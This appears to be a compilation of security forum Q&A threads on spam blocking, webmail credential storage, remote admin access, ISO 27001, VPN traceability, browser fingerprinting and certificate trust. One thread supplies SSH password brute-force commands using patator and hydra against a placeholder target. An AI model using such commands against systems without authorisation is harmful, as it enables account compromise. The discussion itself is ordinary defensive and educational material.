I really don't have access to the IIS access logs to see what IPs the spam is coming from.  Plus, if they change IPs, then back I'm from where I started.  So I decided to block Russia Federation until I can sort this out.  I used an online site to generate the configuration necessary to block all request from Russia. Russia is a big country. It has 11 time-zones and a whole a lot of ips to block.  In fact, the config file got so large that Azure choked (500 errors).

One other option is to check the country where the request is coming from dynamically and reject the request. This means that I have to verify every request from a third-party service. That may slow thing down for the legit users.

The question is, what option do I have to stop the flood? This costing me money in terms of bandwidth and performance.

There are a few things you can do that might help.

Add keyword blacklist to your site. If you get Trump and casino spam, drop any post containing the word Trump or casino.

Add a rel="nofollow" to any links provided by a user, including links in comments and links to user "home pages". Search engines are supposed to ignore any link so tagged, making them less valuable to the spammer.

Add a "probationary" period where new users can't post until a moderator has approved their post. Banhammer any account who tries to post spam.

Add a CAPTCHA. Spammers don't seem to waste much time on sites that make spamming hard. Not all CAPTCHs have to be hard-to-decode pictures; some can be simple questions, like "Check this box if you are not a spammer" or "What is the sum of three plus four?"

Don't worry about the extra call to services just yet. You need to get rid of the spammers first if you want people to stick around.


How webmail's authorisation should work? I'm building a webmail client (like gmail). It allows the user to browse emails and send them. Under the hood, php uses IMAP and SMTP to talk with email server.

user->webserver->mailserver

When user wants to use my webmail, webserver asks credentials for the mailserver.
When webserver needs to connect mailserver, the mailserver asks for the credentials user provided.

So with this webmail you can connect to any mailserver you like. Gmail, yahoo, your private mailserver, etc.. It's like Roundcube, Squirrelmail.

So I have two levels of authentification. What concerns user->webserver part, there is a session in place. However, I'm frustrated about webserver->mailserver part. I'm using php's native imap_open() function to connect.

After the user has logged in, he might click on "refresh my emails" button a couple of times. Is it ok if webserver sends username/password EACH TIME it needs to connect to the mailserver (via imap_open)? Since two servers don't have such thing as a session. Is there a better way?
Since user provides this password just once when logging in, and then the session keeps him logged in, I need a way to safely store this password between requests the user can make to my webserver (clicking "refresh my emails" for example). Maybe I could store the password in an encrypted cookie. Is there a better way?

To ensure only the user has the key for his IMAP-Account, you can save the login credentials in your session symmetrically encrypted by a key, that is stored in a cookie. So the user can unlock the login credentials with his cookie, without that the webserver can't login.

Of course you have to ensure that all occurrences of the credentials are overwritten if not used anymore and are not readable by other processes.

If you have an attacker on the webserver, he will maybe able to read the session details, the encrypted credentials. If he is also able to get the cookie by eavesdropping the connection you have a problem anyway.


Is accessing Cockpit through SSH tunnel secure? I can't find a definite answer on accessing cockpit from outside machines securely. Just allowing it through the firewall like that doesn't seem safe. It only uses basic user and password authentication. I think cockpit uses fail2ban to protect against brute forcing password, but is that enough?
So I thought that SSHing into the machine over Internet and then forwarding 9090 port should work - it works for VNC after all. Or is it... is there any vulnerability I might be missing here? Is there perhaps a better way of accessing Cockpit remotely?
I'm running it on a home Ubuntu box.

I think you're jumping through hoops that you don't need. Whether cockpit uses fail2ban or not is a good question, but as for whether you should put cockpit's port 9090 directly on the internet, or wrap it in an ssh tunnel ... why? Cockpit registers itself as a system pam module (see cockpit docs) which means that when you interact with the cockpit login page, you're actually interacting with the core system login mechanism the same way you would if you were interacting with the ssh server.
I only gave cockpit a quick look a couple of years ago, but it seemed solid to me. I would feel comfortable exposing cockpit's port 9090 directly. (unless I'm also missing something)


Does Chrome respect the X-DNS-Prefetch-Control header? If my web page returns X-DNS-Prefetch-Control=off, will Chrome do DNS prefetch for links like these?:

<link rel="dns-prefetch" href="http://www.spreadfirefox.com/">

I know Firefox and Chromium respect this header, but I'm not sure if Chrome does as well.

I'm asking because I would like to disable DNS prefetching on certain secure pages on my website to protect against this kind of vulnerability: https://blog.compass-security.com/2016/10/bypassing-content-security-policy-with-dns-prefetching/

The X-DNS-Prefetch-Control HTTP response header controls DNS-prefetching of <a href> elements on hover. It has nothing to do with <link rel="dns-prefetch"> mechanism.


When to implement authentication and authorization? I am currently in situation where I have to decide when to implement security measures. So the question is simple, is it better to implement authorization and authentication methods right off the bat in the beginning of the project, OR at the end of the project, before the first release?

Things I considered: at the end, one would make quite a bit of changes to the API; at the beginning it is time consuming, if the client wants to see first results soon.

You should let the client know about this too, you can provide them with 2 options, the first being the client will see A&A in the early stages and another seeing A&A in the later stages. This is sort of like giving the client a heads up & keeping them in the loop.

Equally important, depending on the client's needs, if the client wants fast results and implementation of security 'now' is not a factor, then he will go for the 2nd option.

I highly recommend implementing A&A at the start of the project, hence every other change & update you push from then on will be with respect to A&A being implemented, prevent hiccups & future errors popping up! Hope this helps.


Starting with ISO 27001 - what to buy? We want to start implementing the ISMS according to ISO 27001. Now I know that the ISO 2700x familiy consists of a lot of standards, a lot of them beeing industry-specific standard documents.

My question is: which documents are the most necessary to buy / read when starting with the implementation?

We will get external partners to help with the implementation, but at the moment we need to tell the management what the costs will be.

There are several dependencies between the standards in the ISO2700X series also called the "ISMS family of standards" that are not clear from the beginning - so your question is absolutely justified.

Fortunately there is a Figure for that:

Source: ISO/IEC 27000:2016

What every single standard does can be somewhat inferred from their names. So here's a short list:

Vocabulary standard:

ISO/IEC 27000, Information security management systems — Overview and vocabulary

Requirement standards:

ISO/IEC 27001, Information security management systems — Requirements
ISO/IEC 27006, Requirements for bodies providing audit and certification of information security management systems
ISO/IEC 27009, Sector-specific application of ISO/IEC 27001 — Requirements

Guideline standards:

ISO/IEC 27002, Code of practice for information security controls
ISO/IEC 27003, Information security management system implementation guidance
ISO/IEC 27004, Information security management — Measurement
ISO/IEC 27005, Information security risk management
ISO/IEC 27007, Guidelines for information security management systems auditing
ISO/IEC TR 27008, Guidelines for auditors on information security controls
ISO/IEC 27013, Guidance on the integrated implementation of ISO/IEC 27001 and ISO/IEC 20000‑1
ISO/IEC 27014, Governance of information security
ISO/IEC TR 27016, Information security management — Organizational economics

Sector-specific guideline standards:

ISO/IEC 27010, Information security management for inter-sector and inter-organizational communications
ISO/IEC 27011, Information security management guidelines for telecommunications organizations based on ISO/IEC 27002
ISO/IEC TR 27015, Information security management guidelines for financial services
ISO/IEC 27017, Code of practice for information security controls based on ISO/IEC 27002 for cloud services
ISO/IEC 27018, Code of practice for protection of personally identifiable information (PII) in public clouds acting as PII processors
ISO/IEC 27019, Information security management guidelines based on ISO/IEC 27002 for process control systems specific to the energy utility industry

You don't won't need every single one of these. It is best to start with the ISO27000 to get a good overlook. All the dependencies within the ISMS family of standards are explained here. Luckily this standard is available for free on the ISO website, although a little hidden1. After you have understood what you want you should know what standards to buy.

But, the important part here is this: the cost for buying the standards is probably insignificant (100 CHF+ per standard) in comparison to all the cost you will have when implementing your ISMS and getting ready to be audited. This is a very long and somewhat expensive process. Worrying that the 200 CHF you will maybe pay the ISO is too expensive, is the wrong mindset for this.

1 You can visit this site: https://standards.iso.org/ittf/PubliclyAvailableStandards/index.html or look for "Publicly Available Standards".


How to improve performance of encrypted MySQL database on Linux backend server? Is ezNcrypt's transparent encryption technology the only way to get a big boost in performance? Are there other good solutions out there we could be looking at for encrypting the entire database with marginal impact on performance? From what I know. a lot of Linux MySQL databases are left unencrypted because of the performance issue. We don't want to do that.

With outsourced hosting, even with a dedicated server, I'm not sure we have too many hardware options. Unless someone knows of a hosting company that specializes in high security applications. We thought of trying SSD drives (available from some hosting companies) but are not sure what the impact would be on encryption performance. Any comments on that and about ezNcrypt or other non-hardware solutions would be helpful. Thanks.

Full Disclosure: I am Gazzang's Chief Architect, as well as one of the authors and the current upstream maintainer of the eCrypfs encrypted filesystem.

Hi @Dan,

ezNcrypt is a commercial product sold by my employer, Gazzang.  It is built on top of eCryptfs, an open source encrypted filesystem built into the Linux kernel and with user space utilities available in all major Linux distributions.  I'll try to address your question in an unbiased manner :-)

eCryptfs is 100% GPLv2 free software.  It's a mature encrypted filesystem widely available in Linux.  An estimated 3 million Ubuntu desktop users use eCryptfs through Ubuntu's Encrypted Home Directory feature.  Each file is individually encrypted (juxtaposed against device-mapped full-disk and full-partition encryption).  eCryptfs minimizes the performance penalty as compared to some other encryption options, as noted in this report from Phoronix, and this design document from Google's ChromeOS which uses eCryptfs.  If you know what you're doing (or with a fair bit of independent research), you could almost certainly accomplish the encryption of your MySQL database using eCryptfs while minimizing the performance impact. It will take a fair amount of effort, and your configuration will have limited quality assurance and reproducibility, though I know many people using eCryptfs for far crazier use cases!

ezNcrypt includes an open source (GPLv2) DKMS kernel module, but a proprietary user space sold as a licensed commercial product from Gazzang.  With the commercial license, customers receive first class customer support and suite of utilities that make encrypting any database (including MySQL) much, much "easier" as the name implies.  At the lowest level, ezNcrypt is still using eCryptfs, but the thoroughly-tested, database-targeted suite of tools is a for-pay, commercially supported product.


OpenVas gets stuck on some scans We have been using OpenVas to scan our servers for months now. Recently the scans are getting stuck on different %, always below 30%. We did not change anything in my local configuration. I read a post somewhere that I should lower the maximum concurrently executed NVTs per host to 4 and maximum concurrently scanned hosts to 5.

Does anybody have other suggestions of what setting should we check?

Could it be firewall or something blocking the scan so it times out?

Any suggestions would be greatly appreciated.

Thanks for the recommendations. I ended up reinstalling everything from scratch. Also applied Uberhumus suggestion of setting scan order to random.

Other settings I applied:

Maximum concurrently executed NVTs per host = 4.
Maximum concurrently scanned hosts = 5.
I created targets with about 50 hosts per scan.
Disabled the "automatic suspend" in power options.

By doing this I was able to complete the scans.

Hope this helps anybody facing the same issue.


Modifying credit cards to increase security If I use a credit card only for chip&pin/EMV transactions and possibly for contactless transactions, I don't need the following parts of the card.

magnetic stripe
embossed numbers etc
signature strip
CSC/CCV number

The vendor never really look at your card in these circumstances.

Obviously this will cause some difficulty in physical shops in non-chip & pin countries, but I could probably use a disposable pre-paid card or one-time numbers when travelling in those countries.

Apart from legal issues (the bank owns the card and I am proposing to mutilate their property) Is there any reason I shouldn't mechanically remove the stripe, embossing, signature and CSC to improve security?

Related questions

How to destroy old credit card?

The signature line matters, even for chip and pin.  Chip and Pin verifies the card is present, it doesn't verify the authorized user is.  The point of the signature line is to verify you are actually you, even if very few people actually check this properly.  I actually leave my card unsigned to see if people properly ask for ID.  I've only ever been asked for ID about 3 places.

Removing the visible credit card number, magnetic strip and CSC/CCV code should improve security though and I can't think of any case where a vendor would need to see them, though alterations to your card may make the vendors more suspicious as it isn't what they are used to.


Bell-LaPadula no read no write I'm reading about the Bell-LaPadula model. I understand the Simple Security Property and the Star Property, and I see that the model also incorporates a Discretional Security Property. My question is:

Let's imagine that we have one user (U1) and two objects (O1 and O2), and that we need to asign security levels to U1, O1 and O2 so that
(a) U1 can read O1 (but no write it) AND
(b) U1 cannot read O2 and cannot write O2

I can see how to fulfill condition (a): U1 must have a higher/equal security level than O1.

But what about condition (b)? If SecurityLevel(U1)>=SecurityLevel(O2) then U1 would be able to read O2. If SecurityLevel(U1)<=SecurityLevel(O2) then U1 would be able to write O2. Since we do not want U1 to read or write O2, I guess that this can only be achieved by the Discretional Security control?

A demonstration may be of help here. Let's say that there are three security clearance levels: top secret, secret, and unclassified. Let's assign our User (U1) the secret status. In this case, your (a) claim

U1 must have a higher security level than O1.

is correct, because U1 can read but not write to the file (the star property). To prohibit read access for U1 on O2, the second object, the object would require top secret level clearance.

But what about write access? A controller of 02 at the top secret level can rescind access to that object from a subject. Rescinding access would therefore prevent U1 from writing up to 02.

For more information, see: http://courses.cs.vt.edu/~cs5204/fall99/protection/harsh/


Can government track VPN traffic if it has control on both ISP and website server? Let's say I access a website called example.com with VPN.

Here's the flow: me → ISP → VPN → example.com

Do typical VPN providers use the same IP address to receive data from ISP and send data to the destination server (example.com)?

If that is the case, can the government identify me, by matching VPN server address and timestamp in ISP log and server log of example.com?

Do typical VPN providers use the same IP address to receive data from ISP and send data to the destination server (example.com)?

This does not matter much. VPN have a severely limited number of entry and exit points. The protocols used are usually different from normal web traffic (i.e OpenVPN, Wire, IPSec, ... have different communication pattern) and from the perspective of a server one can usually easily find out of the traffic comes from a VPN - this is actually often used to block such traffic when the access should be restricted to specific geographic locations.

  If that is the case, can the government identify me, by matching VPN server address and timestamp in ISP log and server log of example.com?

If somebody has access to both the VPN-protected traffic sent using the ISP and to the traffic leaving the VPN then it is likely possible to correlate incoming and outgoing traffic and based on this associate specific server traffic with a specific customer of the ISP.

But likely this is not possible based on the log files of the VPN and server, assuming that the VPN logs contain only information needed for billing. If the VPN logs instead contain a detailed log of all outgoing connections and the associated VPN customer IP address, then these can be correlated with the server log. The VPN customer IP address can then associated by the ISP with a specific ISP customer.

Note that it is likely not possible to identify the client based on a single request. But the more requests are done and the more likely traffic patterns can be associated, even if some "noise" (i.e. small delays, a bit of fake traffic) was added by the VPN.


Why am I getting the message that Security Stack Exchange is only partially encrypted? I realize that this is an information website but it does concern me a bit that I'm getting the message that this website does not supply ownership information.  Does this mean that my posts can be read while in transit?

When you visit https://security.stackexchange.com/, in some instances you'll be served content (ads specifically, it appears) that is over http rather than https. Most modern browsers will warn when this happens as you are seeing.

The risks are that the content that is served over non-TLS connections can be viewed and manipulated before reaching your browser in an otherwise encrypted channel. Further, any cookies that are not marked as secure while content within the same URL is served over both http and https will be exposed.

Example:

https://www.example.com/ serves mixed content from http://cdn.example.com/. Any cookies scoped to .example.com that do not have the secure flag set will be exposed while your browser fetches resources from http://cdn.example.com/.

Not only ads, but also within SE itself: <script src="http://area51.stackexchange.com/ads/proposal/js?id=a51-ad-container" type="text/javascript"></script>.


Is "send me a copy of my email message" a potential security breach? Some contact forms in the web have the "send me a copy of my email message" option which I personally find very comfortable.
Let's say that on my own website contact form I add this option, can this be a security breach? I mean, can a user, impersonating as a "potential customer" use this option to cause me trouble?

Not realistically. If your email server is malicious and their SMTP server is vulnerable you could theoretically attack it that way, but frankly that's not a realistic attack; if it is possible, then you have bigger fish and the world has bigger problems then chasing one company. A slightly more likely vector is if you put malicious content in your form and the company fails to sanitize / escape the input correctly, resulting in an SMTP injection attack or similar (causing the company to send another email it didn't intend). That's still not very likely, though; SMTP isn't a complicated protocol and there are lots of libraries that can take arbitrary message headers and bodies and safely send them to SMTP servers.
Besides, companies send customers email all the time. For example, any time you create an account on a site, you'll probably get an email to confirm that you own the email address. If you actually order something, you'll get an emailed receipt. They'd love you to sign up for their marketing emails too. There's probably no important security concern that none of those companies have realized.
If you have some specific concern you want addressed, you should mention it in your question.


Using Patator ssh_login module how can I get the output to show only on success I have the following command:

patator ssh_login host=<ip> port=<port> user=<user> password=FILE0 0=<path to pwdlist>

I would like to output the success result only and not output every attempt. Is this possible?

My first attempt was:

patator ssh_login host=<ip> port=<port> user=<user> password=FILE0 0=<path to pwdlist> | grep "INFO - 0"

but that didn't work.

Can anyone assist.

Is there a reason you're tied to patator? It looked like the --allow-ignore-failures may help but I just ran it and it didn't suppress failed attempts. I would use hydra as it's a lot simpler. This should work for you:

hydra -l <user> -P <password-list-file> ssh://target

(Hydra was quick answer -- hopefully I can play around with patator later and give an answer for that too...)


Why CA's baseline requirement have 22 on Authorized ports while there is no allowed way to use it? while reading Baseline Requirement for Public CA I noticed something.

1.

  Authorized Ports: One of the following ports: 80 (http), 443 (http), 25 (smtp), 22 (ssh).

this includes port 22 and implies there is some way to use SSH for something.
but in the entire documents it appears only 4 times. First on definition itself, and
3.2.2.4.6 Agreed-Upon Change to Website (needs to be http or https)
3.2.2.4.9 Test Certificate (Must via TLS)
3.2.2.4.10. TLS Using a Random Number (Must via TLS)

As SSH is nether http/https nor use TLS, where is no way to use this port for domain validation(unless you are weirdo runs a webserver on port 22). why CAA included this port? was there a historical method that retired?

You wrote:

  (unless you are weirdo runs a webserver on port 22)

It sounds weird but I think that is exactly what this is about.

Ryan Sleevi of Google had this to say:

Ryan Sleevi sleevi at google.com
Fri Mar 2 08:51:19 MST 2018
Previous message: [cabfpub] [Ext] BR Authorized Ports, add 8443
Next message: [cabfpub] [Ext] BR Authorized Ports, add 8443
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Fri, Mar 2, 2018 at 10:08 AM, Paul Hoffman via Public <
public at cabforum.org> wrote:

> On Mar 1, 2018, at 7:51 AM, Ben Wilson via Public <public at cabforum.org>
> wrote:
> >
> > Forwarding from Richard Wang:
> >
> > The current BRs say:
> >
> > Authorized Ports: One of the following ports: 80 (http), 443 (http), 25
> (smtp), 22 (ssh).
> >
> > But many internal networks use the port 8443, broadly used in Apache
> server, today, one of our customers uses this port and can't change to use
> another port, I wish you can help to add this port 8443 to be allowed in
> the BRs, thanks.
>
> It appears that the BRs currently are talking about authorizing
> *services*, not ports. That is, I would not expect to be able to put a HTTP
> server on port 22 on my system and have that considered authorized by the
> BRs.
>

That is intentionally permitted.
[...]


How to prove a password guessing theory from Matt Bishop's book "Introduction to Computer Security" First, this is not a homework problem.  This is a problem from Matt Bishop's book "Introduction to Computer Security" which was used as one of the textbooks for a Computer Security class I took last year.  This question never came up during the course.  In hindsight I should have asked the course's professor to explain the proof, but again this textbook wasn't the main text for the course.

The theorem states:

  Let the expected time required to guess a password be T.  Then T is a
  maximum when the selection of any of a set of passwords is
  equiprobable.

The question is how do you prove this theorem?

I understand that if there are n possible passwords, that on average you can guess the password in n/2 attempts using brute force.  Also, if each password is equiprobable then the probability of each password is 1/n.

Here's where I get stuck, if the probability of each password is not equal then obviously there is a smaller set of passwords to check and therefore a shorter amount of time required to perform a brute force attack.

However, if I don't know what the probability of each password is then I need to perform a brute force attack on all possible passwords and we're back at n/2 attempts.

Or is that the proof.  If the probability of each password is not equal and you test the passwords with the higher probabilities, you are dealing with a smaller subset and therefore a shorter period of time than testing all of the possible passwords.

Is there a more formal way to state this?

Also, what happens if the password is a part of the subset of passwords with lower probabilities, by searching only the higher probability passwords you will fail to find the desired password.  Or take longer than if you just tried all.

Thank you for your consideration to this question.

With mathematics:

Suppose there are n possible passwords. Password number i has probability pi of being selected. It is assumed that the attacker knows the exact values of the pi and tries them in due order. Without loss of generality, I assume that p1 is the most probable password, and so on (i.e. pi >= pj whenever i < j).

Let qj the sum of all pi for i ranging from 1 to j. qj is the probability that the password is part of the j most probable passwords (necessarily, qn = 1: the password is part of the space of possible passwords). The following holds true:

  For all j, qj >= j/n

Because if qj < j/n (for some value j), then there must be one value i lower than j such that pi < 1/n. The condition on the pi (non-increasing values) then implies that all pk for k > i are lower than 1/n, and this implies that qn < 1, which is not possible.

qj is the probability that the attacker succeeds by doing at most j guesses. Higher values imply faster success, i.e. if there are two distribution probabilities P and P' such that q'j >= qj for all j, then the attack for P' succeeds at least as fast as the attack for P. Note that two given distribution probabilities cannot necessarily be compared like this (there could be some, but not all values j such that q'j >= qj), but, if they can be compared, then the conclusion follows.

The uniform distribution (pi = 1/n for all i) implies qj = j/n for all j, which, as explained above, compares favourably (for the defender) to all other distributions. Therefore, this is the distribution which makes the attack slowest.

With physics:

Attack success speed is higher when password entropy is lower. Uniform distribution maximizes entropy.


What can a 3rd party learn about a user through only CSS and images? In its default settings, uMatrix content blocker allows CSS and images (JPG, PNG, etc) from all sources, unless denied by a site-specific block list. It also allows 1st party cookies, scripts, and multimedia.

How much can a 3rd party learn about a site visitor through only CSS and images? Assume an up-to-date standards-compliant browser that lies about :visited status.

Obviously they receive HTTP headers (IP address, userAgent, etc) and can determine some browser features through media queries. They can tell if you choose to print, and possibly how long you keep the page loaded.

I think :hover pseudo-classes could (partially) track mouse movement.

What else can be done?
Are the capabilities sufficient to provide unique fingerprinting across multiple sites, effectively a super-cookie?

This answer might be considered as a partial answer since it's not intended to be exhaustive.

With CSS only, a 3rd party can indeed (to a certain point) fingerprint a user's browser by:

CSS querying by detecting some browser's unique properties (using prefixes. For example, Chrome & Safati present CSS properties prefixed with -webkit-)
Retrieving system fonts / Font Inspection: For compatibility reasons,
web browsers have fallback fonts for each font-family:

  The collection script queries a device for installed fonts by
  generating hidden elements on a web page. The hidden element contains
  a predetermined character string and for each queried font, the height
  and width of the hidden element is compared to the height and width of
  an element containing the same string but formatted in the fallback
  font. If the height and width differs, it is be assumed that the font
  is installed.

CSS Media Queries : Media queries can be used to gather almost the same amount of information as Window and Screen objects

Even if it's a bit out of scope, there is also "Canvas Fingerprinting":

  That works by exploiting the HTML5 canvas element: when a user visits a website their browser is instructed to “draw” a hidden line of text or 3D graphic that is then rendered into a single digital token, a potentially unique identifier to track users without any actual identifier persistence on the machine.

Here is a pretty interesting piece of code that implement some CSS fingerprinting techs.
And here (in chinese) a good paper on browser fingerprinting only with CSS.


Advice of responsible disclosure Some time ago, I hacked into my school's internet integrated system, and I had the entire database(users, passwords, photos and whatsoever) and source code of it. At some point, I disclosed the password of the admin, and because of it, some random person put random cows in the site and I got caught by social engeneering.

The problem now are two:

They still think I just had their passwords, and it bugs me that somewhere in the future they will discover the other things I still have.
At least 5 other schools still have the same problem, and I fear I could be indicated as the responsible if someone else manages to rediscover the vuln.

So, how do I deal with this situation? Do I keep everything to myself and expect it to be forgotten when the system gets obsolete? Or do I risk to going to them and telling them so?

Note: I did got punished because of doing what I did from my school(I got expelled) but that was it. My question now is that the other sites have exactly the same vulnerability (the same software of the same vendor), and I was asking about disclosing it or not.

The actions you described constitute at least one felony.

Regarding the ethics of this type of disclosure:

If you had discovered this vulnerability by chance alone and immediately reported it, you might not have gotten in trouble.

Your self-described actions differ however, in that you not only intentionally breached the system's security and made copies of sensitive / proprietary data, you also disclosed administrative-level credentials to a third party without prior written authorization to do so, and then got "caught" through social engineering.

You don't need our advice, you need an attorney.


Server side code signing I'm currently implementing a couple of security improvements to a crypto currency trading website that handles all data client-side and uses a static file approach.

One of the things I've been asked to do was to add a mechanism to allow users to check whether the page had been modified by a third-party server-side. Please note that I'm not referring to server<->eve<->client-type tampering, as CSP, HSTS and other protections are in place.

My first approach to this was to sign every file with a private key (that never gets into prod servers) and distribute the public key using a different channel. The signed hash would then be hosted in the same directory as the file, with the filename being something like .key. Alternatively, all files could be hashed and signed in block. The checks would have to be manually performed by the user (this is not an issue).

I know a server watchdog can be used to check for file-changes, but from what I understood the hosting conditions are extremely volatile.

Finally, I'm not allowed to create a standalone app for this.

Is this reasonable? Is there any proposed solution to this request?

This becomes a difficult problem because of the two concurrent requirements that an attacker may control the server, and the content being served (that is, the pages generated by the application) are not finite and static (I'm assuming).

If you only had a few files to host, you can distribute a checksum file out of band, or in the same channel but signed with a trusted PGP key. This is pretty common with installers distributed through a CDN or mirrors. But you want to verify that the code that dynamically generates the served files is some constant.

If the user is running code on their own machine, they can download source code (possibly that has been signed, either as above or with git gpg support or similar) and compile it themselves. But in your situation they have to trust an entire network service infrastructure controlled by an adversary.

It's easy for someone controlling the server to add an intermediary MitM that modifies your requests to the app, or to just ask the app to make a signature for whatever the attacker has already generated. I'm starting to think of methods to combat these (ok, let's sign every request from the user, and the verified app checks that before issuing a response), but they're all going to be plugging holes - and complex security systems are vulnerability breeding grounds. It seems much more honest to me to not try and make this claim to your users.


Specific clarification on how https server public key is trusted I know the general concept of how digital certificates works: e.g. server "signs" the message it wants to send to the client using his private key and sends along a message digest and on the receiving side client KNOWS the server public key and can verify that the message is indeed authentic (comes from server and not modified in transit) by using a decryption function and looking over the content of the message, do it's digest also and confirm that the actual message received is authentic.

The question is how can client tell that the server public key sent in the clear (I guess it's sent in the server hello response) is authentic ? I can understand that large CA have their certificates already installed on the client machine but if the server sends a certificate signed for example by Digicert how can I tell on client that that is indeed the case (maybe a MIM intercepted ssl handshake changing things) ?

To clarify things I've added the picture that describes the process by which client verifies that certificate signature is real. "When the browser receives the certificate, it checks the signing authority.If it is a public, well-respected signing authority, the browser will already know its public key (browsers ship with certificates of many signing authorities preinstalled), so it can verify the signature" Question: Signing authority public key has to be communicated somehow to the client (even if that CA is stored locally, how do you know what origin server uses ?). How is that process done ?

I can understand that large CA have their certificates already installed on the client machine

That's it. It's just preloaded on the clients. No magic.

You need to get your trust anchors (root CA certificates) onto the clients BEFORE you can start reliable HTTPS. There is no way around that.


Prevent automated account creation without using CAPTCHA I had a scenario, where someone created thousands of user accounts in a shop system, which flooded the DB.
Different usernames/emails were used and each creation came from a different IP address.

How can someone prevent / avoid such an "attack"?

Is there anything else besides CAPTCHAS that a programmer can do?

There are a number of things that a 'developer' could do to avoid bulk account creation in this manner - but it will depend on the appetite / budget for a client.

For example, a number of commercial WAFs are likely to spot the patterns in the end and start blocking these - even when they are coming from differing IPs.  The WAF, if it uses cloud based learning / definitions, may have already seen issues from those IPs for other sites that it is being used to protect.

If you're just looking for a purely 'programmed' solution - then many have attempted to develop their own versions of CAPTCHA (sometimes you see things as simple as answer the question of 5+3 = X in a form field), but the reality is that it is going to take a lot of time / effort / expense to develop anything robust enough.

Why does the client in this case not want to use CAPTCHA?


Implications of joining the active directory domain with the domain administrator I always used the domain administrator to join the active directory domain, but I've never set up more than a few machines. Is that considered a security risk, is the end-user somehow able to obtain the domain administrators password?

Are there any security implications, if a users workstation is joined to the active directory domain by the domain administrator?

Short answer: No there's no security implication.

You can use a domain admin account or an account with enough delegation to create machine account.
This account will be used to login to the domain controller and create the machine account, the password won't stay on the machine in any way.

It's usually a good principle to create specific account for this task with the minimum privileges level if you're automating the provisioning of your workstation and their domain join as the password will be stored somewhere, so in case of leakage, there's fewer risks.
You can search about the "principle of least privileges" for more informations.


Is HTML5 sessionStorage secure for temporarily storing a cryptographic key? Assume I am building a local web application (e.g. browser extension) in HTML5 to encrypt a database locally. Access to the database is controlled by a password and a cryptographic master key is derived from the password using a PBKDF. I want to store the derived master key in memory only while the application is in use so I can encrypt and decrypt records as needed.

I have looked at using sessionStorage for this purpose. The advantage is the key should only be in memory and available to the current browser tab. The key should be deleted if that tab or the browser is closed. The advantage is that if you need to refresh the browser tab it will still have the active session and master key otherwise you would need to re-enter the password each refresh. Refreshing may be a rare occurrence as it is a single page app however.

On reading the sessionStorage specification on W3C there is some concern:

  The lifetime of a browsing context can be unrelated to the lifetime of the actual user agent process itself, as the user agent may support resuming sessions after a restart.

Is this talking about an OS restart or browser restart?

What I absolutely want to avoid is having the cryptographic key written to disk where it is very hard to get rid of. Is the above quote saying there is a possibility that the key in the sessionStorage could be stored on the disk as part of the crash recovery/restart process? Or is this restart process usually handled in memory only?

a) Does anyone have any knowledge on how the Tier 1 open source browsers (Firefox, Chromium) handle the sessionStorage and whether the contents could be written to disk, even temporarily in the case of a browser crash?

b) Are there any mitigations to prevent any leak of the key to disk in a browser crash or restart? Are there any about:config settings that could be used to disable session recovery after a browser crash?

c) Is the safest option to not use sessionStorage at all for storing a key? Or perhaps mitigate the risk by using full disk encryption as well?

Thanks for your help.

In short; A browser restart. However, not every browser implements the specification defined by the W3C the same way.

  a) Does anyone have any knowledge on how the Tier 1 open source
  browsers (Firefox, Chromium) handle the sessionStorage and whether the
  contents could be written to disk, even temporarily in the case of a
  browser crash?

It makes no mention of saving data that at the time resides in sessionStorage. You will need to research each browsers implementation to know for certain.

Please refer to Mozilla's documentation, there is also a bug/feature request to migrate this functionality to a sqlite database.

  b) Are there any mitigations to prevent any leak of the key to disk in
  a browser crash or restart? Are there any about:config settings that
  could be used to disable session recovery after a browser crash?

While each browser's extension API is going to vary, each should implement some error handling, as well as event triggers in the event of a crash.

For example Google Chrome's documentation uses a crash event trigger that doesn't conform to the W3C Progress Events standard RFC documentation.

  c) Is the safest option to not use sessionStorage at all for storing a
  key? Or perhaps mitigate the risk by using full disk encryption as
  well?

You shouldn't need to store the derived key, once records are decrypted and written to the DOM during a session the key should only need to persist until the session ends when encryption takes place. Use of sessionStorage is good for maintaining data within the DOM only while the tab/browser is open, hence the name 'session'.

With that said if your really in need of safe guards and feel full disk encryption would mitigate the issue, consider the following scenarios:

Access to the boot partition of a full disk encrypted machine would allow modification of the initramfs (linux installtion) allowing for a method of capturing the input supplied
key used for disk encryption.
The transport used to get the web application to the clients browser if not wrapped in an encrypted protocol such as TLS could allow for injection of malicious code able to capture keyboard input. See the BeEF injection toolkit.

I wrote this tool; secStore.js. It does what you are talking about accomplishing. Just make sure you wrap the transport layer with an encrypted tunnel, use security headers to mitigate XSS attempts and you can even query the loaded browser plugins/extensions to prevent malicious exploits using that avenue.

Hope that helps. Anything with security should be layered and it is almost impossible to cover every attack vector which is where monitoring comes in handy.


Accessing multiple sites via HTTPS produces different, unrelated content (Peugeot club via HTTPS) I've come across a random website Moodoo.cz. The interesting thing is that if you access it via the HTTPS: Moodoo.cz, the content completely changes. It is not that unusual - I guess server can serve different content for different protocols.

But I've found dozens of such websites that have the same content (Peugeot 205 Club forum) served on their HTTPS protocol, many of which are valid businesses. I am strongly convinced that most of these websites don't know about this happening and that it's just some misused security hole.

Can you explain (or at least make some educated quess) what security issue these websites share? What to check to ensure this won't happen to my website?

Following is a subset of websites I've found currently having the described issue. Naturally some of them will fix the issue in the future. You might also be asked to add a temporary security exception to view the content.

www.artatak.cz [HTTP] [HTTPS]
www.autodilykoci.cz [HTTP] [HTTPS]
www.blackdogs.cz [HTTP] [HTTPS]
www.cairns-esc.com.au [HTTP] [HTTPS]
www.czechmusic.org [HTTP] [HTTPS]
www.designconcept.cz [HTTP] [HTTPS]
www.hanes.cz [HTTP] [HTTPS]
www.kopprea.cz [HTTP] [HTTPS]
www.moodoo.cz [HTTP] [HTTPS]
www.mujdummujhrad.cz [HTTP] [HTTPS]
www.pribehy.info [HTTP] [HTTPS]
www.resultscoaches.cz [HTTP] [HTTPS]
www.spalicek.eu [HTTP] [HTTPS]
www.spectris-dot.com [HTTP] [HTTPS]
www.statspol.cz [HTTP] [HTTPS]
www.tonej.cz [HTTP] [HTTPS]
www.tuze.cz [HTTP] [HTTPS]

This is likely a server misconfiguration, since all those websites are served from 95.173.215.72.

When opening one of the websites via HTTPS, my browser warns me that the certificate common name, which must match the website domain, is invalid.

I guess those websites aren't supposed to be acccessible via HTTPS, since Apache isn't configured to deliver the correct certificate, and seems to load the default website (forum.205gti.org).

As far as I know, this isn't a security vulnerability.


